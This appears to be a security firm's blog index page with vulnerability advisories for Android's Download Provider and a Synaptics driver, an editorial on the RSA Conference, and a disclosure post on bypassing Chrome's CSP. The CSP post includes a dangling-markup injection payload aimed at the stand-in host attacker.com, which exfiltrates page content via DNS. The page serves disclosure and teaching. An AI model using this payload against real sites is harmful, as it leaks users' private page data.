ADVISORIES | April 1, 2019

Android (AOSP) Download Provider Request Headers Disclosure (CVE-2018-9546)

By Daniel Kachakil

A malicious application with the INTERNET permission granted could retrieve all entries from the Download Provider request headers table.

These headers may include sensitive information, such as session cookies or authentication headers, for any download started from the Android Browser or Google Chrome, among other applications.

Consider the impact that this would have on a user downloading a file from an authenticated website or URL. For example, an electronic statement file from an online bank or an attachment from corporate webmail may allow an attacker to impersonate the user on these platforms.

ADVISORIES |

Android (AOSP) Download Provider Permission Bypass (CVE-2018-9468)

By Daniel Kachakil

A malicious application without any granted permission could retrieve all entries from the Download Provider, bypassing all currently implemented access control mechanisms. The level of access will be similar to having the ACCESS_ALL_DOWNLOADS permission granted, which is a signature-protected permission.

The information retrieved from this provider may include potentially sensitive information such as file names, descriptions, titles, paths, URLs (that may contain sensitive parameters in the query strings), etc., for applications such as Gmail, Chrome, or the Google Play Store.

ADVISORIES |

Android (AOSP) Download Provider SQL Injection (CVE-2018-9493)

By Daniel Kachakil

By exploiting an SQL injection vulnerability, a malicious application without any permission granted could retrieve all entries from the Download Provider, bypassing all currently implemented access control mechanisms. Also, applications that were granted limited permissions, such as INTERNET, can also access all database contents from a different URI.

Further access to the downloaded contents may be possible as well, depending on the permissions granted to the app and files.

EDITORIAL | March 1, 2019

RSA Conference Requires Changes

By John Sheehy

For many years, IOActive has been hosting our IOAsis event as a refuge from the madness of crowds and marketing pitches. This was a hugely successful event and we appreciate everyone’s support and participation over the years to make it a high-quality “hallway con” in an upscale environment. Last year, we noticed a reduction in the quality of attendance at our event even though there was an increase in overall RSA Conference (RSAC) attendance. We discovered in talking to our clients, friends and peers in the industry that many of them no longer felt the ROI was there to attend given the changes in the conference coupled with the significant impact to their companies’ limited travel budgets (with lodging easily averaging $1,000 per night before taxes and fees).

This exorbitant lodging cost has put the conference out of reach of far too many security practitioners and front-line managers and unfortunately further reduces the quality of this conference and the surrounding events. At IOActive, we believe all things are designed and few things are designed well. This applies to the RSAC just as it applies to a poorly designed product. RSAC has moved from being a conference about cybersecurity to a conference about the companies involved in cybersecurity. While RSAC has always had a heavy product focus with a parade of companies offering whatever marketing has determined to be the magic talisman du jour, it has moved to more of a focus on the acquisition and funding of the companies that make these talismans. This only further removes RSAC from a conference for security practitioners and managers.

We have greatly enjoyed all the fantastic discussion and comaraderie at our past IOAsis events. Much as we evolve our services to meet the changing threatscape, we feel we must evolve our events to meet the changing “conferencescape.” While conferences such as RSAC are no longer focused on practitioners, there are numerous regional, vertical, and topical events that have gained traction over recent years and are filling the void to provide the high-quality content and attendees necessary for a valuable event and associated “hallway con.” With this in mind, we are bidding a fond farewell to our IOAsis at RSAC and will be launching a series of IOAsis events aligned with these more focused events.

We spend quite a bit of time pointing out flaws and vulnerabilities, but we also offer constructive recommendations on how to address the identified issues. First, RSAC could find a more affordable venue to host the conference at this scale. The cost of hotel rooms indicates a dramatic lack of supply in San Francisco for a conference of this size. Second, the acquisition and funding focus could be moved to the week before the cybersecurity events starting on Wednesday or Thursday of the preceding week. This would allow the handful of executives to come in a bit earlier to have a less-rushed interaction with the PE, VC and investment banker communities before they need to focus on their clients and prospects. Lastly, we believe RSAC should focus on cybersecurity rather than simply acting as a showroom for current cybersecurity products. We appreciate running a conference of this size is not easy and these observations are meant to be help improve the quality and help RSAC stay relevant for many years to come.

The IOActive team will still be present at RSA and speaking at several of the surrounding events throughout the week. We look forward to seeing our clients, prospects, friends, family and peers in San Francisco this year. If you would like to see us, please get in touch.

RESEARCH | February 20, 2019

Bypassing Chrome’s CSP with Link Preloading

By Keith Makan

In this post I’m going talk about a bug I found a while back in Google’s Chrome browser that allows attackers to bypass the Content Security Policy (CSP). Besides breaking the CSP, the bug also allows attackers a means to ex-filtrate information from inside an SSL/TLS connection. The bug was reported a couple of years back and we got word that the fix is in, so I decided to dust off this blog post and update it so you folks can learn about it.

The CSP is a configuration setting communicated to browsers through HTTP. It allows web servers to whitelist sources for active content to help defend against cross-site scripting. The policy is specified in response to resource fetches or any HTTP transaction in general with the host. Here’s what a common CSP looks like:

content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' fbstatic-a.akamaihd.net fbcdn-static-b-a.akamaihd.net *.atlassolutions.com blob: data: 'self' *.m-freeway.com;style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com *.fbcdn.net *.facebook.net *.spotilocal.com:* *.akamaihd.net wss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self' chrome-extension://boadgeojelhgndaghljhdicfkmllpafd chrome-extension://dliochdbjfkdbacpmhlcpmleaejidimm;

As you can see, the header lists attributes you would like to harden against unauthorized sources. It works by inspecting the browser origin that is sourcing active scripts on a document and making sure they match the ruleset published by the web server.

So that’s how CSP works. Now let’s talk about when it doesn’t work and what kind of response it got from the sec research industry. lcamptuf from Google wrote about developing attacks that do dangerous things to your DOM and your page content, despite the presence of a working CSP. Essentially trying to answer this question:

What will attacks look like should this idea actually work the way it is designed?

Among the techniques that came out of this line of questioning was the idea of “dangling content injection,” a brilliant concept that abuses the aggressively best-effort behavior of browsers. In a dangling content injection attack, you inject a broken HTML tag and rely on the browser to complete this tag by interpreting the content around the broken tag as part of the tag. Essentially injecting by forcing the browser to consume page content as part of an HTML tag, image tag, text area, etc.

Initially, this might seem like a mundane and rather harmless way to break a web page’s functionality, but as it turns out, it could result in security problems. It’s easier to grasp this with an example. Below is a page that fell victim to an HTML injection attack:

An image tag is being injected, and the payload looks like this:

https://[domain]/[path]?query=<img src="http://attacker.com

Because this <img> tag is broken, Chrome will try to fix it for us by consuming adjacent page content as part of the URL and domain name for the <img> tag. Which, as you guessed, means that Chrome will try to use it to resolve a domain name. The only thing spoiling our fun is the CSP; we need a link here that actually allows the DNS resolution to take place using the page content.

The bug I found involves the behavior of the <link> tag. Specifically, what happens in Chrome when a <link rel=’preload’ href=’[URL]’ /> is encountered. These tags are part of the “sub-resource linking mechanisms” in HTML and allow you to link documents together so they can share common sub-resources such as JavaScript, CSS, fonts etc. You can also have the browser preemptively resolve domain names before a page is loaded, which is what the <preload> links are for!

What does this look like in practice? In the following screenshot you can see the DNS traffic generated by a broken preload link tag I injected into an HTTPS secured page; you might notice some HTML keywords in the DNS names:

There you have it, details that were once safely encrypted behind a TLS stream are flying through the air in unencrypted DNS requests! Probably not how you want your browser to work.

Anyway, that’s it for this one folks. Happy hacking!

References and Reading:

ADVISORIES | February 1, 2019

Synaptics TouchPad SynTP Driver Leaks Multiple Kernel Addresses

By Enrique Nissim

Synaptics TouchPad Windows driver leaks multiple kernel addresses and pointers to unprivileged user mode programs. This could be used by an attacker to bypass Windows Kernel Address Space Layout Randomization (KASLR).
(CVE-2018-15532)